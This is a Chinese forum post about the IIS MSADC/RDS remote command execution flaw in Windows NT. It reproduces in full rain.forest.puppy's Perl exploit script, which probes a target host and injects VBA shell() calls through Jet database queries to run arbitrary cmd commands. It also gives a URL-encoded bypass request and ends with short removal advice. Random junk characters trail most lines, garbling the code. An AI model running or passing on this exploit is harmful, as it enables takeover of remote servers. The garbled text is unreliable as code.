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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Mbly-l{|  
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涉及程序: oj?y_0}:^  
Microsoft NT server <ZO+e*4  
X$%W&:  
描述: hv|-`}#0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ]haQ#e}WH  
j39"iAn  
详细: \x\(36\u  
如果你没有时间读详细内容的话,就删除: d,'gh4C  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]_L;AD  
有关的安全问题就没有了。 +n &8" )  
3:OqD~,zy  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /;y`6WG%2  
'w/ S6j  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 N /;Vg ^Wx  
关于利用ODBC远程漏洞的描述,请参看: ][8`}ki 1  
FId,/la  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h]Gvt 5  
0d 0ga^O  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 UQb|J9HY4  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |@'K]$vZ*  
!b$~Sm)  
这里不再论述。 Iy4 RE P|  
G8Ow;:Ro  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: L?Ih;  
%r(qQM.Pl  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +QSH*(,  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +}mj;3i  
8&1xb@Nc7  
i DsY 5l  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q03nu3uDI  
\SJX;7 ST  
#!perl ,RAP_I!_x  
# ?|Wxqo  
# MSADC/RDS 'usage' (aka exploit) script j0=H6Y  
# vNm4xa%  
# by rain.forest.puppy :prx:7  
# $9 G".T  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me aCfWbJ@qiG  
# beta test and find errors! 4dI`  
!<h-2YF<M  
use Socket; use Getopt::Std; {s2eOL5I|%  
getopts("e:vd:h:XR", \%args); D~2n8h"2ye  
uy|]@|J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -(#`JT8  
>G vd?r  
if (!defined $args{h} && !defined $args{R}) { )L"J?wTe  
print qq~ ?uF3Q)rCk  
Usage: msadc.pl -h <host> { -d <delay> -X -v } X9&>.?r  
-h <host> = host you want to scan (ip or domain) YTfi g{a  
-d <seconds> = delay between calls, default 1 second :vFYqoCn  
-X = dump Index Server path table, if available ciCQe]fS  
-v = verbose LO%OH u}]  
-e = external dictionary file for step 5 a{.-qp  
a,xy3 8T<  
Or a -R will resume a command session @~i : 8  
@[TSJi  
~; exit;} r;"Qu  
Q_k'7Z\g$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V#~.n ;d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} <^e  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} j:2*hF!E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ]];LA!n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} H 9?txNea  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } %)o;2&aD  
#V@vz#bo=  
if (!defined $args{R}){ $ret = &has_msadc; cfc=a  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ye/Y<Ij  
LiEDTXRz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T^2o' _:  
. "cmd /c "; w!Ii   
$in=<STDIN>; chomp $in; oe=W}y_k  
$command="cmd /c " . $in ; )jw!, "_4  
#*"I?B/fd8  
if (defined $args{R}) {&load; exit;} ?+byRoY>&g  
ca'c5*Fs  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *3y_FTh8ra  
&try_btcustmr; lQVK~8t3  
\IOF 9) F  
print "\nStep 2: Trying to make our own DSN..."; tG 0 &0`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; y# IUDnRJ  
GP=bp_L  
print "\nStep 3: Trying known DSNs..."; f3mQd}<L  
&known_dsn; u/` t+-A  
 [4mIww%  
print "\nStep 4: Trying known .mdbs..."; 0E^S!A 7  
&known_mdb; 4B Jw+EV8  
q)RTy|NJ^  
if (defined $args{e}){ z+j3j2  
print "\nStep 5: Trying dictionary of DSN names..."; /)V8X#,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } I5W#8g!{  
"]yfx@)_  
print "Sorry Charley...maybe next time?\n"; `Oe}OSxnT  
exit; B~u`bn,iQ  
S"R(6:hkgu  
############################################################################## KWn.  
S|_"~Nd=  
sub sendraw { # ripped and modded from whisker gV-A+;u  
sleep($delay); # it's a DoS on the server! At least on mine... xsx0ZovhY  
my ($pstr)=@_; `M ~-(,++  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W;.L N<bx  
die("Socket problems\n"); ]KQBek#DD  
if(connect(S,pack "SnA4x8",2,80,$target)){ y+M9{[ i/O  
select(S); $|=1; eMUt%zvb  
print $pstr; my @in=<S>; P5Pb2|\*  
select(STDOUT); close(S); i5czm?x  
return @in; [9~6, ;6  
} else { die("Can't connect...\n"); }} Gi,4PD-ro  
j$r2=~1  
############################################################################## 4R9y~~+  
77%I%<#  
sub make_header { # make the HTTP request t0 )XdIl8  
my $msadc=<<EOT P"Y7N?\](  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 }i9VV+L#1  
User-Agent: ACTIVEDATA G g{M  
Host: $ip \C"hL(4-  
Content-Length: $clen ;Lk07+3G  
Connection: Keep-Alive EskD)Sl   
' -rRD\"q  
ADCClientVersion:01.06 i0&W}Bb'  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 {A{sRT=%  
*^p^tK  
--!ADM!ROX!YOUR!WORLD! Vv*](iM  
Content-Type: application/x-varg }} zY]A  
Content-Length: $reqlen 7K /quJ  
G`,M?l mL  
EOT X=%e'P*X  
; $msadc=~s/\n/\r\n/g; kB_T9$0e#  
return $msadc;} r!/<%\S  
H ~lvUHN  
############################################################################## fmv,)UP  
__,F_9M  
sub make_req { # make the RDS request nYy+5u]FG  
my ($switch, $p1, $p2)=@_; 4ms"mIt  
my $req=""; my $t1, $t2, $query, $dsn; Z^#u n  
Qv1cf  
if ($switch==1){ # this is the btcustmr.mdb query 2X0<-Y#'  
$query="Select * from Customers where City=" . make_shell(); X> U _v  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 6-f-/$B  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} lF3wTf/j  
 OF O,5  
elsif ($switch==2){ # this is general make table query E>bpq ^;r  
$query="create table AZZ (B int, C varchar(10))"; LMI7Ih;  
$dsn="$p1";} b$>1_wTL  
=!DpWVsQ  
elsif ($switch==3){ # this is general exploit table query Zo}vV2  
$query="select * from AZZ where C=" . make_shell(); 9~4@AGL  
$dsn="$p1";} {ukQBu#}<  
'm.+S8  
elsif ($switch==4){ # attempt to hork file info from index server !>EK %OO  
$query="select path from scope()"; Sgn<=8,6c  
$dsn="Provider=MSIDXS;";} @oQ"FLF.  
LU+}iA)  
elsif ($switch==5){ # bad query 5>aK4: S/  
$query="select"; NF'<8{~  
$dsn="$p1";} !k!1 h%7q  
O[F  
$t1= make_unicode($query); Mt&n|']`8  
$t2= make_unicode($dsn); <yw56{w,  
$req = "\x02\x00\x03\x00"; t@q==VHF  
$req.= "\x08\x00" . pack ("S1", length($t1)); >FqU=Q  
$req.= "\x00\x00" . $t1 ; L#\5)mO.v  
$req.= "\x08\x00" . pack ("S1", length($t2)); *s|'V+1  
$req.= "\x00\x00" . $t2 ; Hd_,`W@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; hpYW1kfQl  
return $req;} i'[! 'HY  
=Jswd  
############################################################################## Em(Okr,0  
ff 6x4t  
sub make_shell { # this makes the shell() statement .H Pa\b\L>  
return "'|shell(\"$command\")|'";} L+8O 4K{  
I/go$@E"  
############################################################################## `@8O|j  
GIhFOK  
sub make_unicode { # quick little function to convert to unicode '~zi~Q7M  
my ($in)=@_; my $out; JthU' "K  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } HJt '@t=Ak  
return $out;} I!T=$Um  
]rji]4s  
############################################################################## kc<5wY_t  
f( <O~D  
sub rdo_success { # checks for RDO return success (this is kludge) A[m<xtm5K  
my (@in) = @_; my $base=content_start(@in); >v )V2,P -  
if($in[$base]=~/multipart\/mixed/){ RSCQ`.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8L5O5F'  
return 0;} Tt4Q|"CJA  
jtgj h\Nt  
############################################################################## +%Z:k  
dnkHx  
sub make_dsn { # this makes a DSN for us /z:1nq  
my @drives=("c","d","e","f"); f6 s .xQ  
print "\nMaking DSN: "; ?RS4oJz,5g  
foreach $drive (@drives) { gy xC)br  
print "$drive: "; C$4{'J-ZH  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "bz]5c~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" gZ8JfA_\R(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); cUn>gT  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |-z"6F r-  
return 0 if $2 eq "404"; # not found/doesn't exist o>|DT(Ib  
if($2 eq "200") { yQf(/Uxk*x  
foreach $line (@results) { V=8npz   
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Y7;=\/SV  
} return 0;} \\3 ?ij:v  
O^@F?CG :1  
############################################################################## U5p3b;  
Y(gai?  
sub verify_exists { z<gII~%  
my ($page)=@_; stiYC#bI:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \["I.gQ  
return $results[0];} p3e=~{v*  
0[ (kFe  
############################################################################## PsOq-  
[~c_Aa+6N  
sub try_btcustmr { k{U[ U1j  
my @drives=("c","d","e","f"); _7~q|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >=;hnLu  
{a15s6'd  
foreach $dir (@dirs) { 3#y`6e=5  
print "$dir -> "; # fun status so you can see progress 5 ed|]LP  
foreach $drive (@drives) { 1DGl[k/zv  
print "$drive: "; # ditto JP^\   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; I'[;E.KU  
$reqlenlen=length( "$reqlen" ); HE>V\+ AL  
$clen= 206 + $reqlenlen + $reqlen; /IF?|71,m  
fYpJ2y-sA  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ^# 4e_&4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} h6n!"z8H  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} q$"?P  
^E.mG>  
############################################################################## R<ORw]  
$wDSED -  
sub odbc_error { <[u(il  
my (@in)=@_; my $base; mA"[x_  
my $base = content_start(@in); T(Bcp^N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this &Pc.[k  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '-cayG   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; oTx>oM,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f1sp6S0V\  
return $in[$base+4].$in[$base+5].$in[$base+6];} wQ[!~>A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; !;P[Y"h@r  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s_^N=3Si   
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ,_s.amL3O{  
sB$ "mJ  
############################################################################## 9c[bhGD?  
%oquHkX%OJ  
sub verbose { t=|}?lN<  
my ($in)=@_; '=xO?2U-Z  
return if !$verbose; %9J:TH9E)  
print STDOUT "\n$in\n";} Db;>MWt+e  
S9ic4rcd  
############################################################################## 6q!Q(_  
a .?AniB0  
sub save { Dy 8H(_  
my ($p1, $p2, $p3, $p4)=@_; RGkV%u^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 4mtO"'|  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; g3^:)$m  
close OUT;} OW@"j;6 3`  
4'`H H  
############################################################################## j}`ku9S~  
wy{ sS}  
sub load { O(v>\MV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7oc Ng  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /-t!)_zvw  
@p=<IN>; close(IN); 2I& dTxIa  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); F!Cn'*  
$target= inet_aton($ip) || die("inet_aton problems"); ~4O3~Y_+GN  
print "Resuming to $ip ..."; :(.:bf  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Sw$/Z)1K&  
if($p[1]==1) { b\zq,0%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; qR_Np5nHF  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; MgN;[4|[h  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Xw jm T  
if (rdo_success(@results)){print "Success!\n";} XD|Xd|/ {  
else { print "failed\n"; verbose(odbc_error(@results));}} P}(c0/  
elsif ($p[1]==3){ '.8eLN  
if(run_query("$p[3]")){ VUP. \Vry  
print "Success!\n";} else { print "failed\n"; }} #<U@SMv  
elsif ($p[1]==4){ Qh6 vH9(D  
if(run_query($drvst . "$p[3]")){ z@?y(E  
print "Success!\n"; } else { print "failed\n"; }} Aq7`A^1t$  
exit;} 49O_A[(d  
.j"heYF)  
############################################################################## Pn4jI(  
[eBt Dc*w  
sub create_table { :#_k`{WG  
my ($in)=@_; i,% N#  
$reqlen=length( make_req(2,$in,"") ) - 28; [;4ak)!  
$reqlenlen=length( "$reqlen" ); Pth4_]US  
$clen= 206 + $reqlenlen + $reqlen; m=/HUt3(&0  
my @results=sendraw(make_header() . make_req(2,$in,"")); xDSiTp=)O  
return 1 if rdo_success(@results); lw?C:-m  
my $temp= odbc_error(@results); verbose($temp); 5|t-CY{?b  
return 1 if $temp=~/Table 'AZZ' already exists/; 6 b?K-)kL  
return 0;} )"|wWu  
<:N$ $n  
############################################################################## gp~-n7'~O  
W<[7LdAB  
sub known_dsn { B# .xs>{N  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go YcR: _ac  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 4ji'6JHPg  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", z|Xt'?9&n  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  G;A  
@{Fa=".Ch  
foreach $dSn (@dsns) { K|6}g7&X  
print "."; s>WqVuXmn  
next if (!is_access("DSN=$dSn")); V:+vB "  
if(create_table("DSN=$dSn")){ 6W7,EIf  
print "$dSn successful\n"; J p%J02  
if(run_query("DSN=$dSn")){ v<g#/X8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .>PwbZ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} mz;ExV16  
5GPAt  
############################################################################## C:bA:O  
vp d!|/  
sub is_access { J4iu8_eH!D  
my ($in)=@_; d~QJ}a  
$reqlen=length( make_req(5,$in,"") ) - 28; t*6C?zEAU  
$reqlenlen=length( "$reqlen" ); 0TICv2l!  
$clen= 206 + $reqlenlen + $reqlen; L;b-=mF  
my @results=sendraw(make_header() . make_req(5,$in,"")); /w2IL7}  
my $temp= odbc_error(@results); h\Zh^B6J  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); YhAO  
return 0;} 6O 2sa-{d  
YxA nh  
##############################################################################  P/]8+_K  
rfZg  
sub run_query { |BGzdBm^x:  
my ($in)=@_; ]x3 )OjH  
$reqlen=length( make_req(3,$in,"") ) - 28; tEibxE  
$reqlenlen=length( "$reqlen" ); HBk5 p>&  
$clen= 206 + $reqlenlen + $reqlen; U^-J_ yq  
my @results=sendraw(make_header() . make_req(3,$in,"")); S=~+e{  
return 1 if rdo_success(@results); dPgA~~  
my $temp= odbc_error(@results); verbose($temp); #SD2b,f  
return 0;} lb"T'} q  
<!|=_W6  
############################################################################## td#m>S  
{z'Gg  
sub known_mdb { U[#q"'P|l  
my @drives=("c","d","e","f","g"); kaDn= ={YM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qrt2uE{K  
my $dir, $drive, $mdb; u/\Ipk/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~H]d9C  
"DJ%Yo  
# this is sparse, because I don't know of many ' 94HVag  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I&x69  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z@Qf0 c  
"\\system32\\certmdb.mdb", `WQpGBS_z_  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% dsb z\w3:  
0XL[4[LdA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Yt4v}{+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 8mX:*$qm:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q#Ik3 5  
"\\cfusion\\cfapps\\security\\realm_.mdb", 2Ju,P_<dt  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", OQT i$2  
"\\cfusion\\database\\cfexamples.mdb", |C t Q  
"\\cfusion\\database\\cfsnippets.mdb", hDEZq>&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", H{Na'_sL  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", +6Vu]96=KC  
"\\cfusion\\brighttiger\\database\\cleam.mdb", "n<u(m8E  
"\\cfusion\\database\\smpolicy.mdb",  +!wkTrV  
"\\cfusion\\database\cypress.mdb", Gs}lw'pK  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", q?&JS  
"\\website\\cgi-win\\dbsample.mdb", .fY$$aD$4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 9893{}\cB  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" jH4Wu`r;m  
); #these are just Ob -k`@_|  
foreach $drive (@drives) { ]O+Nl5*  
foreach $dir (@dirs){ 0j{KZy  
foreach $mdb (@sysmdbs) { F=kiYa}  
print "."; Y+~>9-S  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ c<qJs-C4;  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; DAd$u1  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ {|@N~c+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 0'*'%Iga  
} else { print "Something's borked. Use verbose next time\n"; }}}}} H Sk}09GV  
d _koF-7  
foreach $drive (@drives) { _Hq)mF  
foreach $mdb (@mdbs) { \V.U8asfI  
print "."; dtq]_HvTJ  
if(create_table($drv . $drive . $dir . $mdb)){ K+c>Cj}H  
print "\n" . $drive . $dir . $mdb . " successful\n"; h$fC/Juit  
if(run_query($drv . $drive . $dir . $mdb)){ YA^g[,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 885 ,3AdA  
} else { print "Something's borked. Use verbose next time\n"; }}}} QgX[?2  
} {{_,YO^w  
:~9F/Jx  
############################################################################## q0 8  
NW;wy;;  
sub hork_idx { OAz -w  
print "\nAttempting to dump Index Server tables...\n"; R2[!h1nZ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; /d-7n|#E  
$reqlen=length( make_req(4,"","") ) - 28; N DV_/BI  
$reqlenlen=length( "$reqlen" ); "'"dcA   
$clen= 206 + $reqlenlen + $reqlen; yh Ymbu  
my @results=sendraw2(make_header() . make_req(4,"","")); "A9 c]  
if (rdo_success(@results)){ _26F[R1><~  
my $max=@results; my $c; my %d;  Z@`HFZJ  
for($c=19; $c<$max; $c++){ |4a#O8d  
$results[$c]=~s/\x00//g; Z?-l-s K  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }' t*BaU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [t`QV2um  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \6${Na' \  
$d{"$1$2"}="";} Au/n|15->C  
foreach $c (keys %d){ print "$c\n"; } bx<7@  
} else {print "Index server doesn't seem to be installed.\n"; }} 4%k_c79>  
C zvi':  
############################################################################## +<H)DPG<  
Ie?C<(8Ul  
sub dsn_dict { KmkPq]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ABp/uJI)  
while(<IN>){ )/9/p17:xu  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; rB:W\5~7  
next if (!is_access("DSN=$dSn")); 9_ GR\\  
if(create_table("DSN=$dSn")){ Tce2]"^;  
print "$dSn successful\n"; R{hKl#j;>  
if(run_query("DSN=$dSn")){ U{o0Posg  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { # -Ts]4v  
print "Something's borked. Use verbose next time\n";}}} Xu:S h<:R  
print "\n"; close(IN);} 7=8e|$K_  
m>6,{g)  
############################################################################## RW|3d<Fj  
"tbKKh66  
sub sendraw2 { # ripped and modded from whisker S:Ne g!`  
sleep($delay); # it's a DoS on the server! At least on mine... 9Qb_BNUo  
my ($pstr)=@_; kGMI ?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :- ydsR/  
die("Socket problems\n"); iVt6rX  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?t+Kp 9@aZ  
print "Connected. Getting data"; |,Y(YSg.  
open(OUT,">raw.out"); my @in; n-{G19?  
select(S); $|=1; print $pstr; P/?`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} yla&/K;|*  
close(OUT); select(STDOUT); close(S); return @in; @%K@oDL  
} else { die("Can't connect...\n"); }} 0p_/eWww-  
kQ~*iY  
############################################################################## |[?"$g9v  
;K0kQ<y-Y  
sub content_start { # this will take in the server headers hX]vZR&R  
my (@in)=@_; my $c; FMuM:%&J]  
for ($c=1;$c<500;$c++) { R$=UJ}>  
if($in[$c] =~/^\x0d\x0a/){ ]dc^@}1bN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #!KbqRt  
else { return $c+1; }}} Uax- z  
return -1;} # it should never get here actually s3W)hU)  
C9U~lcIS  
############################################################################## 9Bl_t}0  
m#mM2Guxe  
sub funky { <IGQBu#ZH  
my (@in)=@_; my $error=odbc_error(@in); z)r)w?A  
if($error=~/ADO could not find the specified provider/){ i!<,8e=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ` IiAtS  
exit;} e;56}w  
if($error=~/A Handler is required/){ g6k@E,cI_  
print "\nServer has custom handler filters (they most likely are patched)\n"; jAmAT /1  
exit;} ojzO?z  
if($error=~/specified Handler has denied Access/){ AS[cz! >  
print "\nServer has custom handler filters (they most likely are patched)\n"; utC]GiR  
exit;}} {mMrD 5  
o-B9r+N  
############################################################################## 74rz~ZM 5  
 [ottUS@  
sub has_msadc { c-!rJHL`  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 'Uew(o  
my $base=content_start(@results); q-3%.<LL  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); tB4- of3+  
return 0;} qCn(~:  
^$Dpdz I  
######################## P}y}IR{6  
2:Q9g ru  
iTi<X|X  
解决方案: =9GL;z:R+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |_8- 3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 hWwh`Vw%  
aR ao\Wp|  
拿出来充数 哈哈
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